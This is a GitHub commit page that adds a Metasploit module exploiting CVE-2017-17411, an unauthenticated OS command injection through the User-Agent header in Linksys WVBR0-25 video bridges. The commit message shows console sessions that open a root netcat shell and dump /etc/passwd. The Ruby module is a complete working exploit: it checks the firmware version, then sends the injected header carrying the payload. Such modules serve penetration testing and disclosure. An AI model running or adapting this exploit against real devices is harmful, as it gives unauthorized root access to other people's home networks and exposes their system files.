Skip to content

Commit 2ee42e1

Browse files
headlesszekeheadlesszeke
authored
Adds exploit module for CVE-2017-17411
This module is for exploiting vulnerable Linksys WVBR0-25 wireless video bridges using CVE-2017-17411. The vuln in question involves a command injection due to improper sanitization of the User-Agent header. The module makes an initial GET request to the root of the web server and checks the result for a vulnerable firmware version. If vulnerable, it makes a subsequent GET request with the User-Agent set to `";<payload> #`. This can be verified against WVBR0-25 devices running firmware < 1.0.41. Example console output: ``` msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth msf exploit(linksys_wvbr0_user_agent_exec_noauth) > info Name: Linksys WVBR0-25 User-Agent Command Execution Module: exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth Platform: Unix Privileged: Yes License: Metasploit Framework License (BSD) Rank: Normal Disclosed: 2017-12-13 Provided by: HeadlessZeke Available targets: Id Name -- ---- 0 Automatic Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host Payload information: Space: 1024 Description: The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41 of the web management portal via the User-Agent header. Authentication is not required to exploit this vulnerability. References: http://cvedetails.com/cve/2017-17411/ http://www.zerodayinitiative.com/advisories/ZDI-17-973 https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair msf exploit(linksys_wvbr0_user_agent_exec_noauth) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat) cmd/unix/generic normal Unix Command, Generic Command Execution cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat) msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat payload => cmd/unix/bind_netcat msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104 RHOST => 10.0.0.104 msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit [*] 10.0.0.104:80 - Trying to access the device ... [*] Started bind handler [*] 10.0.0.104:80 - Exploiting... [*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600 id uid=0(root) gid=0(root) ^C Abort session 1? [y/N] y [*] 10.0.0.104 - Command shell session 1 closed. Reason: User exit msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/generic payload => cmd/unix/generic msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set cmd cat /etc/passwd cmd => cat /etc/passwd msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit [*] 10.0.0.104:80 - Trying to access the device ... [*] 10.0.0.104:80 - Exploiting... [+] 10.0.0.104:80 - Command sent successfully [*] 10.0.0.104:80 - Command output: root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nologin sshd:x:22:22::/var/empty:/sbin/nologin admin:x:1000:1000:Admin User:/tmp/home/admin:/bin/sh quagga:x:1001:1001:Quagga [*] Exploit completed, but no session was created. msf exploit(linksys_wvbr0_user_agent_exec_noauth) > ```
1 parent 1975713 commit 2ee42e1

File tree

1 file changed

+123
-0
lines changed

1 file changed

+123
-0
lines changed

‎modules/exploits/linux/http/linksys_wvbr0_user_agent_exec_noauth.rb

Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',
16+
'Description' => %q{
17+
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
18+
cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
19+
of the web management portal via the User-Agent header. Authentication is not required to
20+
exploit this vulnerability.
21+
},
22+
'Author' =>
23+
[
24+
'HeadlessZeke' # Vulnerability discovery and Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['CVE', '2017-17411'],
30+
['ZDI', '17-973'],
31+
['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']
32+
],
33+
'DisclosureDate' => 'Dec 13 2017',
34+
'Privileged' => true,
35+
'Payload' =>
36+
{
37+
'DisableNops' => true,
38+
'Space' => 1024,
39+
'Compat' =>
40+
{
41+
'PayloadType' => 'cmd',
42+
'RequiredCmd' => 'generic netcat'
43+
}
44+
},
45+
'Platform' => 'unix',
46+
'Arch' => ARCH_CMD,
47+
'Targets' => [[ 'Automatic', { }]],
48+
'DefaultTarget' => 0
49+
))
50+
end
51+
52+
def check
53+
begin
54+
res = send_request_raw({
55+
'method' => 'GET',
56+
'uri' => '/'
57+
})
58+
if res && res.code == 200 && res.body.to_s =~ /Firmware Version: (1\.0\.(40|[1-3][0-9]|[0-9])\.|0\.)/ # version < 1.0.41
59+
return Exploit::CheckCode::Vulnerable
60+
end
61+
rescue ::Rex::ConnectionError
62+
return Exploit::CheckCode::Unknown
63+
end
64+
65+
puts res.body.to_s
66+
Exploit::CheckCode::Safe
67+
end
68+
69+
def exploit
70+
print_status("#{peer} - Trying to access the device ...")
71+
72+
unless check == Exploit::CheckCode::Vulnerable
73+
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
74+
end
75+
76+
print_status("#{peer} - Exploiting...")
77+
78+
if datastore['PAYLOAD'] == 'cmd/unix/generic'
79+
exploit_cmd
80+
else
81+
exploit_session
82+
end
83+
end
84+
85+
def exploit_cmd
86+
beg_boundary = rand_text_alpha(8)
87+
88+
begin
89+
res = send_request_raw({
90+
'method' => 'GET',
91+
'uri' => '/',
92+
'headers' => {
93+
'User-Agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
94+
}
95+
})
96+
97+
if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
98+
print_good("#{peer} - Command sent successfully")
99+
if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line
100+
print_status("#{peer} - Command output: #{$1}")
101+
end
102+
else
103+
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
104+
end
105+
rescue ::Rex::ConnectionError
106+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
107+
end
108+
end
109+
110+
def exploit_session
111+
begin
112+
send_request_raw({
113+
'method' => 'GET',
114+
'uri' => '/',
115+
'headers' => {
116+
'User-Agent' => "\"; #{payload.encoded} #"
117+
}
118+
})
119+
rescue ::Rex::ConnectionError
120+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
121+
end
122+
end
123+
end

0 commit comments

Comments
 (0)